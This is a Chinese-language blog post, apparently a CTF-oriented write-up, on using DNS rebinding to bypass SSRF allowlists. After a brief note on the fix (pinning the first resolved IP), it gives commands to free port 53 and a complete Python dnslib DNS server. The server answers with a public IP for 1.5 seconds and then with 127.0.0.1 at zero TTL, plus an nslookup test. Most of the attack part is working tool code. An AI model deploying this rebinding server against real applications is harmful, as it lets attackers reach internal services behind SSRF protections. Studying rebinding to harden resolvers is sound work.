有个日本的师傅文章写的很通俗易懂
https://blog.tokumaru.org/2022/05/dns-rebinding-protection.html
具体的修复方案也很简单,由于 ssrf 就是解析 URL 的实际 IP 去获取资源,所以只要我们默认只用第一次解析的能通过白名单的 IP 即可。
在网上找了很久有没有实际直接可用的工具,找到了一个类似的 rbndr,但是我看了他的源码 https://github.com/taviso/rbndr 实际上是随机的IP解析,而且如果用于自己的话,需要修改其逻辑,并且因为域名不同,还需要自己改一下结构体,而且地址什么的也需要优化,很麻烦,所以放弃了
后来学习到权威解析+ dnslib 可以实现自己的域名来进行DNS重绑定攻击
在运行之前,我们需要服务器53端口可用
1
2
3
| root@dkhkOgWXgpxwIv3RMfv:/var/www/html# ss -lunp | egrep '(:53)\b' || true
UNCONN 0 0 127.0.0.54:53 0.0.0.0:* users:(("systemd-resolve",pid=316,fd=20))
UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* users:(("systemd-resolve",pid=316,fd=18))
|
systemd-resolved 服务,我们直接停止,再加一个公用的DNS
1
2
3
4
5
6
7
8
| systemctl stop systemd-resolved
systemctl disable systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
ss -lunp | grep 53
|
使用的转发脚本如下,具体逻辑为前 1.5s 之前为安全期,返回外网地址,第 1.5~10s 为攻击期,返回内网地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| import threading
import time
from dnslib import DNSRecord, RR, A, QTYPE
from dnslib.server import DNSServer, BaseResolver, DNSLogger
MY_PUBLIC_IP = "156.239.238.207"
REBIND_IP = "127.0.0.1"
WINDOW_SIZE = 1.5
RESET_TIME = 10.0
class RebindingResolver(BaseResolver):
def __init__(self):
self.domains = {}
self.lock = threading.Lock()
def resolve(self, request, handler):
qname = str(request.q.qname)
reply = request.reply()
if request.q.qtype != QTYPE.A:
return reply
now = time.time()
with self.lock:
if qname not in self.domains or (now - self.domains[qname] > RESET_TIME):
self.domains[qname] = now
start_time = self.domains[qname]
elapsed = now - start_time
if elapsed < WINDOW_SIZE:
ip = MY_PUBLIC_IP
print(f"[SAFE] {qname} -> {ip}")
else:
ip = REBIND_IP
print(f"[ATTACK] {qname} -> {ip}")
reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
return reply
if __name__ == '__main__':
resolver = RebindingResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0", logger=DNSLogger())
try:
server.start()
except KeyboardInterrupt:
pass
finally:
server.stop()
|
域名的解析记录

那么现在*.rebind.baozongwi.xyz就能够进行重绑定攻击了,避免有本地和运营商的 DNS 缓存, 强制nslookup直接询问你的服务器
1
| nslookup flag.rebind.baozongwi.xyz 156.239.238.207
|
